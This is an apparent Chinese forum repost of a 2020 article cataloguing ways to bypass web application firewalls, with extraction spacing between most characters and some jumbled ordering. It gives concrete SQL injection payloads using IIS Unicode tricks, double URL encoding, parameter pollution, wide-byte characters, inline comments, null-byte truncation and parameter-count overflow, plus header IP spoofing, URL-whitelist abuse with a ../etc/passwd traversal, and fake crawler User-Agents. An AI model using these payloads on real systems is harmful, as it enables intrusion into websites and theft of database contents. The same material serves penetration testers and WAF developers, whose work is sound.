搜索

[976] 2020-03-23_那些可以绕过WAF的各种特性

文档创建者：s7ckTeam
浏览次数：5
最后更新：2025-01-16
2020-03-23_那些可以绕过WAF的各种特性 那 些 可 以 绕 过 W A F 的 各 种 特 性 原 创   B y p a s s   B y p a s s   2 0 2 0 - 0 3 - 2 3 收 录 于 话 题   # W A F 攻 防 实 战 笔 记   , 9 个 我 们 一 般 将 安 全 防 护 软 件 划 分 为 ： 云 W A F 、 硬 件 w a f 、 主 机 防 护 软 件 、 软 件 w a f 等 。 在 攻 防 实 战 中 ， 往 往 需 要 掌 握 一 些 特 性 ， 比 如 服 务 器 、 数 据 库 、 应 用 层 、 W A F 层 等 ， 以 便 我 们 更 灵 活 地 去 构 造 P a y l o a d ， 从 而 可 以 和 各 种 W A F 进 行 对 抗 ， 甚 至 绕 过 安 全 防 御 措 施 进 行 漏 洞 利 用 。 0 x 0 1   服 务 器 特 性 服 务 器 特 性 1 、 、 % 特 性 （ 特 性 （ A S P + I I S ） ） 在 a s p + i i s 的 环 境 中 存 在 一 个 特 性 ， 就 是 特 殊 符 号 % ， 在 该 环 境 下 当 们 我 输 入 s % e l e c t 的 时 候 ， 在 W A F 层 可 能 解 析 出 来 的 结 果 就 是 s % e l e c t ， 但 是 在 i i s + a s p 的 环 境 的 时 候 ， 解 析 出 来 的 结 果 为 s e l e c t 。 P S ： 此 处 猜 测 可 能 是 i i s 下 a s p . d l l 解 析 时 候 的 问 题 ， a s p x + i i s 的 环 境 就 没 有 这 个 特 性 。 2 、 、 % u 特 性 （ 特 性 （ a s p + i i s 和 和 a s p x + i i s ） ） I i s 服 务 器 支 持 对 于 u n i c o d e 的 解 析 ， 例 如 我 们 对 于 s e l e c t 中 的 字 符 进 行 u n i c o d e 编 码 ， 可 以 得 到 如 下 的 s % u 0 0 6 c % u 0 0 0 6 e c t ， 这 种 字 符 在 I I S 接 收 到 之 后 会 被 转 换 为 s e l e c t ， 但 是 对 于 W A F 层 ， 可 能 接 收 到 的 内 容 还 是 s % u 0 0 6 c % u 0 0 0 6 e c t ， 这 样 就 会 形 成 b y p a s s 的 可 能 。 3 、 另 类 、 另 类 % u 特 性 （ 特 性 （ A S P + I I S ） ） 该 漏 洞 主 要 利 用 的 是 u n i c o d e 在 i i s 解 析 之 后 会 被 转 换 成 m u l t i b y t e ， 但 是 转 换 的 过 程 中 可 能 出 现 ： 多 个 w i d e c h a r 会 有 可 能 转 换 为 同 一 个 字 符 。 打 个 比 方 就 是 譬 如 s e l e c t 中 的 e 对 应 的 u n i c o d e 为 % u 0 0 6 5 ， 但 是 % u 0 0 f 0 同 样 会 被 转 换 成 为 e 。 W A F 层 可 能 能 识 别 s % u 0 0 6 5 l e c t 的 形 式 ， 但 是 很 有 可 能 识 别 不 了 s % u 0 0 f 0 l e c t 的 形 式 。 这 样 就 可 以 利 用 起 来 做 W A F 的 绕 过 。 常 见 三 个 关 键 字 （ u n i o n + s e l e c t + f r o m ） 的 测 试 情 况 ： 4 、 、 a p a c h e 畸 形 畸 形 m e t h o d 在 G E T 请 求 中 ， G E T 可 以 替 换 为 任 意 参 数 名 字 ， 不 影 响 a p a h c e 接 收 参 数 i d = 2 。 s % u 0 0 6 5 l e c t - > s e l e c t     s % u 0 0 f 0 l e c t - > s e l e c t s % u 0 0 4 5 l e c t   =   s % u 0 0 6 5 l e c t   =   % u 0 0 f 0 l e c t u   - - >   % u 0 0 5 5   - - >   % u 0 0 7 5 n   - - > % u 0 0 4 e   - - >   % u 0 0 6 e i   - - > % u 0 0 4 9   - - >   % u 0 0 6 9 o   - - > % u 0 0 4 f   - - >   % u 0 0 6 f   - - > % u 0 0 b a s   - - > % u 0 0 5 3   - - >   % u 0 0 7 3 l   - - > % u 0 0 4 c   - - >   % u 0 0 6 c e   - - > % u 0 0 4 5   - - >   % u 0 0 6 5 - - > % u 0 0 f 0 c   - - > % u 0 0 4 3   - - >   % u 0 0 6 3 t   - - > % u 0 0 5 4   - - > % u 0 0 7 4   - - > % u 0 0 d e   - - > % u 0 0 f e f   - - > % u 0 0 4 6   - - > % u 0 0 6 6 r   - - > % u 0 0 5 2   - - > % u 0 0 7 2 m   - - > % u 0 0 4 d   - - > % u 0 0 6 d T E S T   / s q l . p h p ? i d = 1   H T T P / 1 . 1 H o s t :   1 2 7 . 0 . 0 . 1 U s e r - A g e n t :   M o z i l l a / 5 . 0   ( W i n d o w s   N T   1 0 . 0 ;   W O W 6 4 ;   r v : 4 8 . 0 )   G e c k o / 2 0 1 0 0 1 0 1   F i r e f o x / 4 8 . 0
0 x 0 2   应 用 层 特 性 应 用 层 特 性 1 、 大 小 写 、 大 小 写 / 关 键 字 替 换 关 键 字 替 换 这 是 最 简 单 的 绕 过 技 术 ， 用 来 绕 过 只 针 对 特 定 关 键 字 ， 大 小 写 不 敏 感 。 将 关 键 字 进 行 等 价 替 换 ： 2 、 双 重 、 双 重 u r l 编 码 编 码 双 重 u r l 编 码 ， 即 对 客 户 端 发 送 的 数 据 进 行 了 两 次 u r l e n c o d e 操 作 ， 如 s 做 一 次 u r l 编 码 是 % 7 3 , 再 进 行 一 次 编 码 是 % 2 5 % 3 7 % 3 3 。 一 般 情 况 下 在 代 码 层 默 认 做 一 次 u r l 解 码 ， 这 样 解 码 之 后 的 数 据 一 般 不 会 匹 配 到 规 则 ， 达 到 了 b y p a s s 的 效 果 。 编 码 方 式 ， 如 c h a r 或 H e x 编 码 、 U n i c o d e 编 码 、 B A S E 6 4 编 码 等 。 3 、 变 换 请 求 方 式 、 变 换 请 求 方 式 将 G E T 变 成 P O S T 提 交 ， 或 者 P O S T 请 求 将 u r l e n c o d e 和 f o r m - d a t a 转 换 。 在 P O S T 请 求 中 ， 可 以 将 P o s t 数 据 包 转 为 上 传 m u l t i p a r t / f o r m - d a t a 格 式 数 据 包 。 构 造 参 数 提 交 代 码 ： 上 传 数 据 包 参 数 ： 4 、 、 H P P 参 数 污 染 参 数 污 染 类 似 ? i d = 1 & i d = 2 & i d = 3 的 形 式 ， 此 种 形 式 在 获 取 i d 值 的 时 候 不 同 的 w e b 技 术 获 取 的 值 是 不 一 样 的 。 假 设 提 交 的 参 数 即 为 ： U s e r - A g e n t :   M o z i l l a / 5 . 0   ( W i n d o w s   N T   1 0 . 0 ;   W O W 6 4 ;   r v : 4 8 . 0 )   G e c k o / 2 0 1 0 0 1 0 1   F i r e f o x / 4 8 . 0 A c c e p t :   t e x t / h t m l , a p p l i c a t i o n / x h t m l + x m l , a p p l i c a t i o n / x m l ; q = 0 . 9 , * / * ; q = 0 . 8 A c c e p t - L a n g u a g e :   z h - C N , z h ; q = 0 . 8 , e n - U S ; q = 0 . 5 , e n ; q = 0 . 3 A c c e p t - E n c o d i n g :   g z i p ,   d e f l a t e C o n n e c t i o n :   c l o s e U p g r a d e - I n s e c u r e - R e q u e s t s :   1 i d = 1   U n I o N / * * / S e L e C T   1 , u s e r ( ) H e x ( )   b i n ( )   等 价 于 a s c i i ( ) S l e e p ( )   等 价 于   b e n c h m a r k ( ) M i d ( ) s u b s t r i n g ( )   等 价 于   s u b s t r ( ) @ @ u s e r   等 价 于   U s e r ( ) @ @ V e r s i o n   等 价 于   v e r s i o n ( ) < h t m l > < h e a d > < / h e a d > < b o d y > < f o r m   a c t i o n = " h t t p : / / 1 9 2 . 1 6 8 . 2 0 4 . 1 2 8 / t e s t . p h p "   m e t h o d = " p o s t "   e n c t y p e = " m u l t i p a r t / f o r m - d a t a " > < i n p u t   t y p e = " t e x t "   n a m e = " i d " > < i n p u t   t y p e = " s u b m i t " > < / f o r m > < / b o d y > `   ` < / h t m l > - - - - - - W e b K i t F o r m B o u n d a r y A C Z o a L J J z U w c 4 h Y M C o n t e n t - D i s p o s i t i o n :   f o r m - d a t a ;   n a m e = " i d " 1 f r o m   i n f o r m a t i o n _ s c h e m a . S C H E M A T A - - - - - - W e b K i t F o r m B o u n d a r y A C Z o a L J J z U w c 4 h Y M - -
5 、 宽 字 节 、 宽 字 节 宽 字 节 关 键 字 对 照 表 ： 0 x 0 3   数 据 库 特 性 数 据 库 特 性 1 、 、 M y s q l 技 巧 技 巧 2 、 、 S Q L   S e r v e r 技 巧 技 巧 i d = 1 & i d = 2 & i d = 3 得 到 的 结 果 ： A s p . n e t   +   i i s ： i d = 1 , 2 , 3   A s p   +   i i s ： i d = 1 , 2 , 3   P h p   +   a p a c h e ： i d = 3 多 种 变 形 ： M S S Q L : 大 小 写 ： ? i d = 1   U N I O N / * & I D = * / S E L E C T   1 , 2 / * & I d = * / F R O M   A D M I N G E T + P O S T 形 式 :   h t t p : / / 1 9 2 . 1 6 8 . 1 2 5 . 1 4 0 / t e s t / s q l . a s p x ? i d = 1   u n i o n / * p o s t :     i d = 2 * / s e l e c t   n u l l , n u l l , n u l l 利 用 逗 号 ： ? i d = 1   u n i o n   s e l e c t   1 & i d = 2 & i d = 3 & i d = 4   f r o m   a d m i n - - （ 无 逗 号 形 式 ）                 ? a = 1 + u n i o n / * & b = * / s e l e c t + 1 , p a s s / * & c = * / f r o m + u s e r s - - ( 分 割 参 数 注 入 ) 无 效 参 数 形 式 ： ? a = / * & s q l = x x x & b = * /     备 注 ： a , b 为 无 效 参 数 ， 让 w a f 误 以 为 我 们 输 入 的 语 句 是 在 注 释 符 里 面 执 行 的 所 以 就 不 拦 截 溢 出 形 式 ： ? i d = 1 / * & i d = * / / * & i d = * / / * . . . . . . & i d = * / / * & i d = * /   u n i o n     s e l e c t   n u l l , s y s t e m _ u s e r , n u l l   f r o m   I N F O R M A T I O N _ S C H E M A . s c h e m a t a M y s q l ： ? i d = 1 & i d = 1 & i d = 1 & i d = 1 & i d = 1 & i d = 1 & i d = 1 & i d = … . .   & i d = 1   u n i o n   s e l e c t   1 , 2   f r o m   a d m i n u n i o n   =   u ю % 6 9 я ю 这 里 把 i 不 用 宽 字 节   直 接 u r l 编 码   其 他 的 字 符 都 用 对 应 的 宽 字 节 s e l e c t   =   こ х l х % у t   / / t 不 编 码   其 他 的 都 宽 字 节   中 间 插 上 % f r o m   =   ц R % я э   / / 宽 字 节 + % 空 格 = % 2 0 = % в а   / / в 是 2 的 款 字 符   а 是 0 的 宽 字 符 ,   =   Ь   / / , 号 的 宽 字 节 （ 1 ） m y s q l 注 释 符 有 三 种 ： # 、 / * . . . * / 、 - -     . . .   ( 注 意 - - 后 面 有 一 个 空 格 ) （ 2 ） 空 格 符 : [ 0 x 0 9 , 0 x 0 a - 0 x 0 d , 0 x 2 0 , 0 x a 0 ] （ 3 ） 特 殊 符 号 ： % a   换 行 符       可 结 合 注 释 符 使 用 % 2 3 % 0 a ， % 2 d % 2 d % 0 a 。 （ 3 ） 内 联 注 释 ：       / * ! U n I o n 1 2 3 4 5 S e l E c T * /   1 , u s e r ( )       / / 数 字 范 围   1 0 0 0 - 5 0 5 4 0 （ 4 ） m y s q l 黑 魔 法       s e l e c t { x   u s e r n a m e } f r o m   { x 1 1   t e s t . a d m i n } ;
3 、 、 O r a c l e 技 巧 技 巧 4 、 更 多 特 性 、 更 多 特 性 那 些 代 码 层 防 护 ， 只 能 用 数 据 库 特 性 来 正 面 怼 ， 一 般 一 个 S Q L 语 句 组 成 包 括 如 下 几 个 位 置 ： 通 过 对 常 见 的 5 个 位 置 进 行 F U Z Z ， 可 以 探 索 更 多 能 够 绕 过 W A F 的 数 据 库 特 性 。 参 考 以 前 的 相 关 文 章 链 接 ： W A F   B y p a s s 数 据 库 特 性 （ M y s q l 探 索 篇 ） W A F   B y p a s s 数 据 库 特 性 （ M S s q l 探 索 篇 ） W A F   B y p a s s 数 据 库 特 性 （ O r a c l e 探 索 篇 ） W A F   B y p a s s 数 据 库 特 性 （ A c c e s s 探 索 篇 ） 0 x 0 4   W A F   层 层 1 、 逻 辑 问 题 、 逻 辑 问 题 （ 1 ） 云 w a f 防 护 ， 一 般 我 们 会 尝 试 通 过 查 找 站 点 的 真 实 I P ， 从 而 绕 过 C D N 防 护 。 （ 2 ） 当 提 交 G E T 、 P O S T 同 时 请 求 时 ， 进 入 P O S T 逻 辑 ， 而 忽 略 了 G E T 请 求 的 有 害 参 数 输 入 , 可 轻 易 B y p a s s 。 （ 3 ） H T T P 和 H T T P S 同 时 开 放 服 务 ， 没 有 做 H T T P 到 H T T P S 的 强 制 跳 转 ， 导 致 H T T P S 有 W A F 防 护 ， H T T P 没 有 防 护 ， 直 接 访 问 H T T P 站 点 绕 过 防 护 。 （ 4 ） 特 殊 符 号 % 0 0 ， 部 分 w a f 遇 到 % 0 0 截 断 ， 只 能 获 取 到 前 面 的 参 数 ， 无 法 获 取 到 后 面 的 有 害 参 数 输 入 ， 从 而 导 致 B y p a s s 。 比 如 ： i d = 1 % 0 0 a n d   1 = 2   u n i o n   s e l e c t   1 , 2 , c o l u m n _ n a m e   f r o m   i n f o r m a t i o n _ s c h e m a . c o l u m n s 2 、 性 能 问 题 、 性 能 问 题 猜 想 1 ： 在 设 计 W A F 系 统 时 ， 考 虑 自 身 性 能 问 题 ， 当 数 据 量 达 到 一 定 层 级 ， 不 检 测 这 部 分 数 据 。 只 要 不 断 的 填 充 数 据 ， 当 数 据 达 到 一 定 数 目 之 后 ， 恶 意 代 码 就 不 会 被 检 测 了 。 猜 想 2 ： 不 少 W A F 是 C 语 言 写 的 ， 而 C 语 言 自 身 没 有 缓 冲 区 保 护 机 制 ， 因 此 如 果 W A F 在 处 理 测 试 向 量 时 超 出 了 其 缓 冲 区 长 度 就 会 引 发 b u g ， 从 而 实 现 绕 过 。 （ 1 ） 用 来 注 释 掉 注 射 后 查 询 的 其 余 部 分 ：         / *             C 语 言 风 格 注 释         - -             S Q L 注 释         ;   0 0 ％   空 字 节 （ 2 ） 空 白 符 ： [ 0 x 0 1 - 0 x 2 0 ] （ 3 ） 特 殊 符 号 ： % 3 a   冒 号           i d = 1   u n i o n : s e l e c t   1 , 2   f r o m : a d m i n （ 4 ） 函 数 变 形 ： 如 d b _ n a m e [ 空 白 字 符 ] ( ) （ 1 ） 注 释 符 ： - - 、 / * * / （ 2 ） 空 白 字 符 ： [ 0 x 0 0 , 0 x 0 9 ， 0 x 0 a - 0 x 0 d , 0 x 2 0 ] s e l e c t   *   f r o m   a d m i n   w h e r e   i d = 1 【 位 置 一 】 u n i o n 【 位 置 二 】 s e l e c t 【 位 置 三 】 1 , 2 , d b _ n a m e ( ) 【 位 置 四 】 f r o m 【 位 置 五 】 a d m i n
举 例 1 ： 举 例 2 ： 猜 想 3 ： 多 次 重 复 提 交 同 一 个 请 求 ， 有 些 通 过 了 W A F ， 有 些 被 W A F 所 拦 截 了 ， 性 能 问 题 可 能 导 致 部 分 请 求 b y p a s s 。 3 、 白 名 单 、 白 名 单 方 式 一 ： I P 白 名 单 从 网 络 层 获 取 的 i p ， 这 种 一 般 伪 造 不 来 ， 如 果 是 获 取 客 户 端 的 I P ， 这 样 就 可 能 存 在 伪 造 I P 绕 过 的 情 况 。 测 试 方 法 ： 修 改 h t t p 的 h e a d e r 来 b y p a s s   w a f 方 式 二 ： 静 态 资 源 特 定 的 静 态 资 源 后 缀 请 求 ， 常 见 的 静 态 文 件 ( . j s   . j p g   . s w f   . c s s 等 等 ) ， 类 似 白 名 单 机 制 ， w a f 为 了 检 测 效 率 ， 不 去 检 测 这 样 一 些 静 态 文 件 名 后 缀 的 请 求 。 方 式 三 ： u r l 白 名 单 为 了 防 止 误 拦 ， 部 分 w a f 内 置 默 认 的 白 名 单 列 表 ， 如 a d m i n / m a n a g e r / s y s t e m 等 管 理 后 台 。 只 要 u r l 中 存 在 白 名 单 的 字 符 串 ， 就 作 为 白 名 单 不 进 行 检 测 。 常 见 的 u r l 构 造 姿 势 ： w a f 通 过 / m a n a g e / “ 进 行 比 较 ， 只 要 u r i 中 存 在 / m a n a g e / 就 作 为 白 名 单 不 进 行 检 测 ， 这 样 我 们 可 以 通 过 / s q l . p h p ? a = / m a n a g e / & b = . . / e t c / p a s s w d   绕 过 防 御 规 则 。 方 式 四 ： 爬 虫 白 名 单 部 分 w a f 有 提 供 爬 虫 白 名 单 的 功 能 ， 识 别 爬 虫 的 技 术 一 般 有 两 种 ： 1 、   根 据 U s e r A g e n t     2 、 通 过 行 为 来 判 断 U s e r A g e n t 可 以 很 容 易 欺 骗 ， 我 们 可 以 伪 装 成 爬 虫 尝 试 绕 过 。 U s e r   A g e n t   S w i t c h e r   ( F i r e f o x   附 加 组 件 ) ， 下 载 地 址 : ? i d = 1   a n d   ( s e l e c t   1 ) = ( S e l e c t   0 x A * 1 0 0 0 ) + U n I o N + S e L e C T + 1 , 2 , v e r s i o n ( ) , 4 , 5 , d a t a b a s e ( ) , u s e r ( ) , 8 , 9 P S ： 0 x A * 1 0 0 0 指 0 x A 后 面 ” A " 重 复 1 0 0 0 次 ， 一 般 来 说 对 应 用 软 件 构 成 缓 冲 区 溢 出 都 需 要 较 大 的 测 试 长 度 ， 这 里 1 0 0 0 只 做 参 考 也 许 在 有 些 情 况 下 可 能 不 需 要 这 么 长 也 能 溢 出 。 ? a 0 = 0 & a 1 = 1 & . . . . . & a 1 0 0 = 1 0 0 & i d = 1   u n i o n   s e l e c t   1 , s c h e m a _ n a m e , 3   f r o m   I N F O R M A T I O N _ S C H E M A . s c h e m a t a 备 注 ： 获 取 请 求 参 数 ， 只 获 取 前 1 0 0 个 参 数 ， 第 1 0 1 个 参 数 并 没 有 获 取 到 ， 导 致 S Q L 注 入 绕 过 。 X - f o r w a r d e d - f o r X - r e m o t e - I P X - o r i g i n a t i n g - I P x - r e m o t e - a d d r X - R e a l - i p h t t p : / / 1 0 . 9 . 9 . 2 0 1 / s q l . p h p / 1 . j s ? i d = 1 备 注 ： A s p x / p h p 只 识 别 到 前 面 的 . a s p x / . p h p   后 面 基 本 不 识 别 h t t p : / / 1 0 . 9 . 9 . 2 0 1 / s q l . p h p / a d m i n . p h p ? i d = 1 h t t p : / / 1 0 . 9 . 9 . 2 0 1 / s q l . p h p ? a = / m a n a g e / & b = . . / e t c / p a s s w d h t t p : / / 1 0 . 9 . 9 . 2 0 1 / . . / . . / . . / m a n a g e / . . / s q l . a s p ? i d = 2
火 狐 插 件 安 装 完 成 后 ， 按 下 A L T 键 ， 调 出 工 具 栏 ， 伪 造 爬 虫 。 常 见 的 爬 虫 U s e r - A g e n t ： h t t p s : / / a d d o n s . m o z i l l a . o r g / e n - U S / f i r e f o x / a d d o n / u s e r - a g e n t - s w i t c h e r / U s e r A g e n t :   " M o z i l l a / 5 . 0   ( c o m p a t i b l e ;   G o o g l e b o t / 2 . 1 ;   + h t t p : / / w w w . g o o g l e . c o m / b o t . h t m l ) "   U s e r A g e n t :   " B a i d u s p i d e r + ( + h t t p : / / w w w . b a i d u . c o m / s e a r c h / s p i d e r . h t m ) "   U s e r A g e n t :   " M o z i l l a / 5 . 0   ( c o m p a t i b l e ;   Y a h o o !   S l u r p ;   h t t p : / / h e l p . y a h o o . c o m / h e l p / u s / y s e a r c h / s l u r p ) "
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理